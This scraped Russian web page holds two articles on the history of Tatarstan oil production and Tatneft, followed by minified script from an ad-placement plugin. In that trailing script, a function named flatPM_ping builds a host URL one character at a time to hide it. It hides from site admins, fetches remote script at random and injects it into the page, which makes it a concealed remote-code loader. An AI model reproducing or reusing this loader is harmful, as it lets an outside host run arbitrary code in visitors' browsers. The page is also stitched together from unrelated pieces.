«Ромашкинское — уникальное историческое месторождение. Оно сыграло важнейшую роль в развитии нефтедобывающей отрасли нашей страны, и, несмотря на высокую степень выработанности запасов, остается одним из главных месторождений России, ее потенциал еще далеко не исчерпан», — говорит главный геолог ПАО «Татнефть» Раис Хисамов.

Полученный опыт интенсивной разведки ромашкинских отложений способствовал открытию многих новых месторождений, в том числе таких крупных, как Ново-Елховское, Бондюжское, Первомайское, Елабужское и др.

К настоящему времени в республике открыто более 150 нефтяных месторождений, объединяющих более 2800 залежей.

Позднее эта методика помогла при разведке Самотлора и других крупных западносибирских месторождений.

От «ТАТАРНЕФТИ» до «ТАТНЕФТИ»

В январе 1949-го приказом министра нефтяной промышленности СССР Николая Байбакова в Бугульме создается нефтедобывающий трест «Татарнефть», в состав которого вошли Шугуровский, Бавлинский и Ромашкинский промыслы, контора бурения и строительно-монтажное управление.

Этапным стало постановление Совета Министров СССР от 28 апреля 1950 г. «О мероприятиях по ускорению развития добычи нефти в Татарской АССР». Документом предписывалось создать объединение «Татнефть». Начальником объединения был назначен А.Т. Шмарев.

В 1949-м в Бугульме создается нефтедобывающий трест «Татарнефть», в состав которого вошли Шугуровский, Бавлинский и Ромашкинский промыслы

В 1950 году в республике было добыто 860 тысяч тонн черного золота. Однако для восстановления разрушенного войной народного хозяйства и дальнейшего развития экономики страны нефти требовалось все больше и больше.

24 марта 1952 года было принято еще одно постановление Совета министров СССР — «Об ускорении развития нефтяной промышленности в Татарской АССР и Башкирской АССР».

Запасы нефти, говорилось в документе, высокая добыча на каждую скважину (40—50 тонн в сутки), благоприятные условия разработки нефтяных месторождений позволяют серьезно развивать нефтяную промышленность в центре страны, приблизить производство нефтепродуктов к пунктам их потребления и сократить дальность перевозок.

Авторы постановления полагали, что ускорение развития нефтяной промышленности в Татарской и Башкирской республиках экономически выгодно для народного хозяйства и целесообразно для повышения обороноспособности страны.

В короткие сроки на юго-востоке Татарстана были сосредоточены мощные производственные, строительные силы. Из традиционных центров нефтедобычи направлены многочисленные специалисты, квалифицированные строители.

Продолжение следует.

Партнерский материал

ПромышленностьНефть Татарстан

Источник: https://realnoevremya.ru/articles/103735-75-letniy-yubiley-nachala-dobychi-nefti-v-tatarstane

Нефть Татарстана: путь длиною в шестьдесят лет — Журнал Горная промышленность

Ш.Ф.Тахаутдинов, генеральный директор ОАО «Татнефть»

Прошло 60 лет с того исторического дня, когда скважина №1 долгожданным фонтаном возвестила об открытии первого нефтяного месторождения на земле Татарстана.

Шла самая тяжелая в истории война и страна в первую очередь требовала нефть.

Поэтому понятно, что государство не стало жалеть сил и средств по расширению геолого-поисковых работ, для быстрейшего вовлечения в работу вновь открываемых богатейших нефтяных месторождений в Татарстане, в особенности, уникального Ромашкинского.

И нефть Татарстана оказала решающее влияние на послевоенное развитие страны. Открытие и ускоренный ввод в эксплуатацию нефтяных месторождений произвели в 50-е годы прошлого столетия коренные сдвиги в темпах роста добычи нефти в Советском Союзе. За небывало короткий срок был создан новый нефтяной центр.

История нефти Татарстана – это история нескольких поколений нефтяников, связавших свои судьбы с богатством ее недр, их самоотверженного труда, побед и неудач. Много замечательных имен вобрала в себя история большой нефти Татарстана.

За каждым трудовым свершением, научным или техническим открытием, стоит целая плеяда талантливых организаторов производства, высококвалифицированных специалистов, профессионалов своего дела, слаженно и дружно работающих коллективов нефтяников.

Их усилиями была создана знаменитая теперь школа нефтяников Татарстана, имеющая собственный почерк и традиции.

Здесь следует отметить огромную роль руководства Республики в организации новой для Татарстана нефтяной промышленности.

Так было в первые десятилетия освоения нефтяной целины, когда нефтью занимались специально созданные структуры в обкоме партии и Правительстве республики, так остается и в настоящее время.

Во всем, что делали и делается по стабилизации добычи нефти, созданию вертикально интегрированной компании, повышению уровня жизни людей, мы опираемся на действенную поддержку руководства Республики. Президент Татарстана М.Ш.

Шаймиев вникает во все наши проблемы и максимально оказывает помощь в их решении. По его идее в республике были созданы малые нефтяные компании для разработки небольших месторождений с высоковязкими нефтями, он положил первый камень в фундамент Нижнекамского НПЗ.

Премьер-министр Р.Н.Минниханов уже несколько лет является Председателем Совета директоров ОАО «Татнефть» и вникает во все проблемы нефтяников. С премьером работать легко и приятно, взаимопонимание с руководством Татарстана помогает нам решать не только сиюминутные задачи, но и успешно претворять в жизнь перспективные планы.

За 60 лет из недр Татарстана извлечено более 2 млрд. 750 млн. т нефти.

Шесть десятилетий – по меркам разработки нефтяных месторождений срок значительный. За такое время немало месторождений в мире истощались до такой степени, что дальнейшая их разработка становилась предприятием невыгодным, нерентабельным.

К такому финалу шли и нефтяные месторождения Татарстана, которые в 60–70-е годы – в период пика нефтедобычи, эксплуатировались «на износ», исходя из нужд того времени.

За счет татарстанской нефти страна поднималась из послевоенной разрухи, на этой же нефти во многом базировался в дальнейшем имидж нашей страны.

Но всему есть предел, особенно минеральным ресурсам, которые, как известно, не возобновляемы. Знаменательные для татарстанских нефтяников 70-е годы, когда республика ежегодно давала по 100 млн. и более тонн нефти, остались позади.

В новую, постсоветскую историю нефтедобывающая промышленность Татарстана вошла на излете кривой падения добычи углеводородного сырья. С высоты 100 миллионов тонн в год спустились до 23 миллионов, а падение продолжалось.

Подвигом, научным и трудовым, можно и следует назвать то, что наши нефтяники и ученые в условиях завершающей стадии разработки месторождений сумели не только остановить падение добычи, но добились в какой-то мере даже ее увеличения. Была разработана всеобъемлющая программа мер по стабилизации добычи нефти, которая вот уже в течение почти 10 лет неуклонно проводится в жизнь.

Стабилизация добычи во многом связана со стабилизацией обводненности скважинной продукции, которую нам удалось достичь благодаря осуществлению целого комплекса мер по реконструкции системы поддержания пластового давления.

В первые годы разработки нефтяных месторождений в Татарстан стекались инженерно-технические кадры со всех нефтяных регионов Союза. Рабочие кадры новая для Республики отрасль черпала из сел и деревень.

Зрелые мужчины, прошедшие фронты Великой Отечественной, и молодые парни, работавшие до этого в лучшем случае сельскими механизаторами, шли на буровые и другие нефтяные объекты. Всей страной поднимали нефть Татарстана.

В настоящее время интеллектуальный уровень наших кадров очень высокий и в этом отношении мы можем успешно сравниться с любой другой нефтедобывающей компанией. С каждым годом все больше становится у нас докторов (16) и кандидатов (98) наук.

Ученых степеней добиваются не только сотрудники наших научно-исследовательских институтов – «ТатНИПИнефть» и «ТатНИИнефтемаш», но и многие работники нефтегазодобывающих, буровых, геофизических, ремонтных и иных предприятий. Одних патентов и изобретений у «Татнефти» более 2500.

А о том, настолько высок образовательный и профессиональный уровень людей рабочих специальностей, можно судить хотя бы по их вкладу в рационализацию производства. Стабилизация добычи нефти, обводненности скважинной продукции достигнута во многом благодаря их пытливому уму.

Успех заложен в людях, в их знаниях, способностях, твердости характера, умении сосредоточиться на главном, способности идти на сознательный и оправданный риск, поиск нового. Это те качества, благодаря которым мы достигли небывалых высот в первые десятилетия нашей истории, и которые в наше время востребованы еще более. И тому, что при относительно низком среднем дебете скважин «Татнефть» сохраняет финансовую устойчивость, чувствует себя уверенно, мы обязаны как раз интеллектуальному уровню, уровню подготовленности, и что немаловажно, преданности своему делу наших кадров.

На протяжении последних лет в акционерном обществе «Татнефть» сложилась и функционирует целостная система непрерывного профессионального образования, включающая в себя подготовку и повышение квалификации рабочих, специалистов среднего звена и высшего менеджерского состава компании. В прошлом году на подготовку кадров «Татнефть» затратила около 100 млн. рублей.

ОАО «Татнефть» остается одной из крупнейших российских компаний по количеству пробуренных скважин и по протяженности коммуникаций, по объему применяемого оборудования.

Это – объективная реальность, хотя, очевидно, было бы гораздо выгоднее добиваться той же добычи при меньшей протяженности труб и ЛЭП, меньшем количестве скважин.

За последние 5–7 лет для обеспечения стабильной работы нефтепромыслового комплекса создана развитая инфраструктура сервисных служб, включающая в себя производство труб с покрытиями, обеспечивающими защиту от агрессивных сред, восстановление труб, штанг, насосов, оборудования по нанесению скребков-центраторов и др.

Целенаправленная работа в этом направлении уже дала ощутимые результаты. Так, количество ремонтов скважин по предотвращению асфальто-смоло-парафиновых отложений за последние 10 лет снижено в 4.9 раза, объем дистиллятных обработок сокращен почти в 25 раз, а обрывность штанг упала в 1.5 раза.

Все это, вместе с повышением уровня инженерно-технологической работы и качества ремонтов скважин в НГДУ, позволило достичь высокого значения межремонтного периода работы скважин, который сегодня составляет 739 суток.

Благодаря массовому внедрению металлопластмассовых и полимерно-покрытых труб, а там, где есть необходимость – насосов малой производительности, кардинальным образом решена проблема аварийности в системе поддержания пластового давления.

Количество порывов водоводов высокого давления со сточной водой за эти годы снижено в 22 раза, и эта тенденция сохраняется (падение более 20% в год), несмотря на значительное сокращение в последние годы объема трубопроводного строительства.

Сегодня система ППД – надежный рычаг управления процессом эффективной выработки нефти из пластов. Масштабно ведется реконструкция системы нефтесбора, при этом сокращается её протяженность и повышается антикоррозионная надежность.

В условиях рынка нельзя недооценивать любые возможности для снижения затрат выпускаемой продукции. Успешная и стабильная деятельность компании сегодня возможна лишь при постоянном поиске эффективных производственных процессов, снижения затрат всего производственного комплекса.

Так, благодаря долгосрочной программе энергосбережения, энергозатраты компании в 2002 г. были снижены на 7.5%. Продолжалась работа по оптимизации транспортного обеспечения – были укрупнены транспортные подразделения, сокращены неэффективно эксплуатируемые автотракторная и спецтехника, легковой автотранспорт.

Была реорганизована структура управления и централизована система снабжения материальными ресурсами. Создана и успешно развивается сеть консигнационных складов. В результате существенно сократились складские запасы.

Проведение закрытых тендеров на прямые поставки материальных ценностей позволило перейти к закупке оборудования и материалов преимущественно у самих производителей и их официальных торговых домов, а также существенно снизить цены на приобретаемые товары.

Ещё ранее все буровые предприятия компании были объединены в структуру Управляющей компании ООО «Татнефть-Бурение», что позволило исключить дублирование функций при управлении буровыми работами, направить в единое русло политику обновления оборудования, испытания и внедрения новейших технологий строительства скважин, добиваться оптимального соотношения цены и качества производимых работ. Одинадцать бригад сегодня специализируются на бурении боковых и боковых горизонтальных скважин.

Наряду с повышением эффективности управления нефтедобывающим производством, в ОАО «Татнефть» большое внимание уделяется формированию и оптимизации деятельности всей вертикально интегрированной структуры, включающей в себя как добычу сырья, так и переработку и реализацию готовой продукции.

ОАО «Татнефть», работая долгое время как моноструктура и занимающаяся только добычей нефти, с 90-х годов активизирует политику диверсификации капитала, расширяя сферу деятельности на смежные с нефтедобычей отрасли.

Эти усилия, прежде всего, продиктованы необходимостью сохранения экономической устойчивости компании, предотвращения прямой зависимости от колебания цен на рынке сырой нефти.

Вертикальная интеграция, об огромном значении которой в последние годы так много сказано, стала реальностью.

ОАО «Татнефть» становится компанией не только нефтедобывающей, но и нефтеперерабатывающей, нефтехимической, реализующей продукцию нефтепереработки и нефтехимии.

Одна из важнейших стратегических задач в настоящее время – завершение строительства Нижнекамского НПЗ, на котором в конце 2002 года введены в эксплуатацию объекты базового комплекса.

ОАО «Татнефть», являющаяся генеральным инвестором и координатором проекта крупного нефтеперерабатывающего завода в Татарстане, рассматривает его в качестве стратегического объекта, который, благодаря сочетанию глубокой переработки нефти с нефтедобычей, позволит сделать нефтяную отрасль устойчивой и предсказуемой.

Нижнекамский НПЗ, интегрированный в нефтехимическое производство, явится также гарантом надежного обеспечения нефтехимиков республики сырьем, а транспортников – высококачественным моторным топливом всех марок.

И, наконец, новый современный завод – это новые рабочие места, дополнительные поступления в бюджеты всех уровней, улучшение экологической ситуации в регионе.

Развивая мысль о занятости населения, могу добавить, что в целом по ОАО «Татнефть» за 10 лет создано более 14 тысяч новых рабочих мест. В аффилированные структуры инвестировано свыше 10 миллиардов рублей, что позволило сохранить еще 20 тыс. рабочих мест. В число таких структур входят, прежде всего, предприятия шинного комплекса, а также Бугульминский механический завод и другие.

В целях оптимизации управления предприятиями нефтехимического и шинного производства была создана управляющая компания ООО «Татнефть-Нефтехим».

В ее состав вошли 9 предприятий, образующих замкнутый цикл от поставки и переработки сырья до производства и реализации автомобильных шин.

Среди них такие известные производители нефтехимической продукции, как ОАО «Нижнекамскшина», ОАО «Ефремовский завод синтетического каучука» (Тульская область) и др.

Интеграция в холдинговую структуру «Татнефти», организация ритмичной поставки сырья и оптимизация загрузки производственных мощностей благоприятно сказалась на производственно-экономических показателях всех этих предприятий. Так, Нижнекамские шинники в конце прошлого года впервые за последние 11 лет смогли произвести и реализовать миллион шин в месяц.

Оптимизация организационной структуры, повышение эффективности производства, завершение создания вертикально интегрированной структуры, консолидация нефтегазохимического комплекса республики – вот те стратегические задачи, которые сегодня стоят перед нашей компанией, от этого зависит благополучие не только нефтехимиков, но и всей Республики в целом.

Необходимо отметить, что на всех предприятиях, вовлекаемых в структуру «Татнефти», мы самое пристальное внимание уделяем вопросам эффективности методов управления, оптимизации всей сферы производства, приведению их в соответствие с нашими корпоративными требованиями. Наряду с инвестициями, компания вкладывает в новые для себя производственные сферы наработанный опыт хозяйствования, свои традиции, культуру ответственного и профессионального отношения к общему делу.

Сегодня как-то не принято вспоминать о прошлом. Но прошлое нельзя забыть: прошлое – это подвиг наших отцов и дедов в кровавой войне с фашизмом; прошлое – это труд до изнеможения на колхозных полях наших рано овдовевших матерей и бабушек; прошлое – это и задубевшая на морозе мокрая одежда на буровой, и мокрая от пота рубаха при ликвидации аварий.

Жизнь не стоит на месте. С каждым годом извлекать на поверхность каждую тонну «черного золота» становится все труднее и труднее. Это требует все больших усилий коллективов, материальных затрат.

Усилия мы всегда прилагали и будем прилагать на оптимальном уровне, а что касается затратности производства, здесь рыночные отношения диктуют свои условия.

Чтобы наша продукция оставалась конкурентоспособной, мы поставили перед собой задачу ежегодно снижать производственные и иные затраты на 10% и обеспечить ежегодный рост добычи нефти на 1% в целом по «Татнефти».

Позади – путь длиною в 60 лет. А сколько же впереди? Этот вопрос волнует многих. Конечно, можно было бы сказать, что при нынешнем уровне добычи наших запасов хватит на 33 года работы.

Но при том следует учесть, что нами ставится и в основном выполняется задача наращивания запасов ежегодно на уровне добываемой нефти, а разработки наших ученых позволяют увеличивать уровень извлекаемости запасов.

Уже на сегодня более 40 процентов нефти добывается за счет применения методов увеличения нефтеотдачи пластов, и этот объем растет из года в год.

Так что с полной уверенностью можно сказать, что работы нефтяникам на этой земле хватит на многие десятилетия, а то и на века.  

Журнал «Горная Промышленность» №4 2003

Источник: https://mining-media.ru/ru/article/company/1502-neft-tatarstana-put

Ссылка на основную публикацию
Adblock
detector
":'':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e'))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('
'+c+"
"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e'))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'
Закрыть через '+o.how.outgoing.timer_count+"
":'':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('
'+c+"
");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;eflat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_subflat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub.flatPM_sidebar)");0<_.length t="ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t *").last().after('
'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/]*)\/>/gi,d=/",""],thead:[1,"","
"],tbody:[1,"","
"],colgroup:[2,"","
"],col:[3,"","
"],tr:[2,"","
"],td:[3,"","
"],th:[3,"","
"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0/gm,"").replace(//gm,"").trim(),e.code_alt=e.code_alt.replace(//gm,"").replace(//gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='
'+a+" через "+o+'
'+n+'
',i=e.once;l(t).each(function(){var e=l(this);e.wrap('
');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n'):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};